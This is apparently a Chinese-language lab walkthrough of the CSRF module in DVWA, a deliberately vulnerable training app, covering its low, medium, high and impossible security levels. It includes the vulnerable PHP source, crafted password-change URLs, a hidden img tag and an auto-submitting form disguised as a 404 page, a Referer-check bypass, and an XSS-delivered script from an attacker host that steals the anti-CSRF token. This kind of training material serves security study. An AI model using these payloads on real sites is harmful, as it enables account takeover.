1 CSRF介绍
CSRF,全称Cross-site request forgery,即跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作。
可以这样理解CSRF:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。
2 Low Security Level
<?php if ( isset ( $_GET[ 'Change' ] ) ) { $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston" ]))) ? false : $___mysqli_res); } ?>
服务器通过GET方式接收修改密码的请求,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现)。
2.1 构造如下链接
http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#
当受害者点击了这个链接,密码就会被改成test
2.2 使用短链接来隐藏 URL
为了更加隐蔽,可以生成短网址链接,点击短链接,会自动跳转到真实网站:
PS:提供一个短网址生成网站
2.3 构造攻击页面
2.3.1 方式 1
通过img标签中的src属性来加载CSRF攻击利用的URL,并进行布局隐藏,实现了受害者点击链接则会将密码修改。
构造的页面test.html如下:
<img src ="http://www.dvwa.com/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change#" border ="0" style ="display:none;" /> <h1 > 404<h1 > <h2 > file not found.<h2 >
将test.html文件放在攻击者自己准备的网站上:
当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接:
http://www.hack.com/test.html
误认为是自己点击的是一个失效的url:
但实际上已经遭受了CSRF攻击,密码已经被修改为test
我们将访问test.html时的数据包抓下来:
2.3.2 方式 2
查看页面html源代码,将关于密码操作的表单部分,通过javascript的onload事件加载和css代码来隐藏布局,按GET传递参数的方式,进一步构造html form表单,实现了受害者点击链接则会将密码修改。
构造的页面dvwa.html如下:
<body onload ="javascript:csrf()" > <script > function csrf () {document .getElementById("button" ).click();} </script > <style > form{ display :none ;} </style > <form action ="http://www.dvwa.com/vulnerabilities/csrf/?" method ="GET" > New password:<br /> <input type ="password" AUTOCOMPLETE ="off" name ="password_new" value ="test" > <br /> Confirm new password:<br /> <input type ="password" AUTOCOMPLETE ="off" name ="password_conf" value ="test" > <br /> <br /> <input type ="submit" id ="button" name ="Change" value ="Change" /> </form > </body >
当受害者正在使用自己的网站(浏览器中还保存着session值)时,访问攻击者诱惑点击的此链接:
http://www.hack.com/dvwa.html
3 Medium Security Level
<?php if ( isset ( $_GET[ 'Change' ] ) ) { if ( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) { $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } } else { echo "<pre>That request didn't look correct.</pre>" ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston" ]))) ? false : $___mysqli_res); } ?>
相关函数介绍:
stripos()函数:
stripos(string,find,start)
stripos()函数查找字符串在另一字符串中第一次出现的位置,不区分大小写。
PHP超全局变量S E R V E R 中 的 两 个 值 : _SERVER中的两个值:
S E R V E R 中 的 两 个 值 : _SERVER[‘HTTP_REFERER’]:PHP中获取链接到当前页面的前一页面的url链接地址,即HTTP数据包中的Referer参数的值。
$_SERVER[‘SERVER_NAME’]:PHP中获取服务器主机的名称,即HTTP数据包中的Host参数的值。
用户正常登录使用修改密码操作时,可以看到:
Medium Security Level的代码使用stripos()函数检查HTTP头,过滤规则是|$_SERVER['HTTP_REFERER']
|的值中必须包含|$_SERVER['SERVER_NAME']
|,以此来抵御CSRF攻击。
3.1 Exploit
将Low Security Level第三种方法中的攻击页面test.html复制一份,命名为
我们还是按照之前的操作,先诱惑受害者点击|http://www.hack.com/test.html
|,抓包,并发送到Repeater中:
执行失败,出现:That request didn’t look correct.
此时让受害者访问|www.dvwa.com.html|
文件,即在Repeater中修改HTTP数据包中的Referer参数为:
http://www.hack.com/www.dvwa.com.html
成功修改了密码:
4 High Security Level
<?php if ( isset ( $_GET[ 'Change' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; if ( $pass_new == $pass_conf ) { $pass_new = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';" ; $result = mysqli_query($GLOBALS["___mysqli_ston" ], $insert ) or die ( '<pre>' . ((is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_error($GLOBALS["___mysqli_ston" ]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false )) . '</pre>' ); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match.</pre>" ; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston" ]))) ? false : $___mysqli_res); } generateSessionToken(); ?>
可以看到,High Security Level的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token:
http://172.16.123.132/DVWA/vulnerabilities/csrf/?password_new=test&password_conf=test&Change=Change&user_token=abf812881f8f67e687a50639ee58f29d#
向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
4.1 Exploit
要绕过High Security Level的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码。
xss.js:
alert(document .cookie); var theUrl = 'http://www.dvwa.com/vulnerabilities/csrf/' ;if (window .XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); }else { xmlhttp = new ActiveXObject("Microsoft.XMLHTTP" ); } var count = 0 ;xmlhttp.withCredentials = true ; xmlhttp.onreadystatechange=function ( ) { if (xmlhttp.readyState ==4 && xmlhttp.status==200 ) { var text = xmlhttp.responseText; var regex = /user_token\' value\=\'(.*?)\' \/\>/ ; var match = text.match(regex); console .log(match); alert(match[1 ]); var token = match[1 ]; var new_url = 'http://www.dvwa.com/vulnerabilities/csrf/?user_token=' +token+'&password_new=test&password_conf=test&Change=Change' ; if (count==0 ){ count++; xmlhttp.open("GET" ,new_url,false ); xmlhttp.send(); } } }; xmlhttp.open("GET" ,theUrl,false ); xmlhttp.send();
xss.js放置于攻击者的网站上:
http://www.hack.com/xss.js
DOM XSS 与 CSRF 结合:CSRF结合同Security Level的DOM XSS,通过XSS来获取用户的user_token;通过CSRF来伪造URL,冒充用户身份修改密码。用以下链接来让受害者访问:
http://www.dvwa.com/vulnerabilities/xss_d/?default=English #<script src="http://www.hack.com/xss.js"></script>
诱导点击后,成功将密码修改为test
5 Impossible Security Level
<?php if ( isset ( $_GET[ 'Change' ] ) ) { checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); $pass_curr = $_GET[ 'password_current' ]; $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; $pass_curr = stripslashes( $pass_curr ); $pass_curr = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_curr = md5( $pass_curr ); $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' ); $data->bindParam( ':user' , dvwaCurrentUser(), PDO::PARAM_STR ); $data->bindParam( ':password' , $pass_curr, PDO::PARAM_STR ); $data->execute(); if ( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) { $pass_new = stripslashes( $pass_new ); $pass_new = ((isset ($GLOBALS["___mysqli_ston" ]) && is_object($GLOBALS["___mysqli_ston" ])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston" ], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work." , E_USER_ERROR)) ? "" : "" )); $pass_new = md5( $pass_new ); $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' ); $data->bindParam( ':password' , $pass_new, PDO::PARAM_STR ); $data->bindParam( ':user' , dvwaCurrentUser(), PDO::PARAM_STR ); $data->execute(); echo "<pre>Password Changed.</pre>" ; } else { echo "<pre>Passwords did not match or current password incorrect.</pre>" ; } } generateSessionToken(); ?>
Impossible Security Level的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码,攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。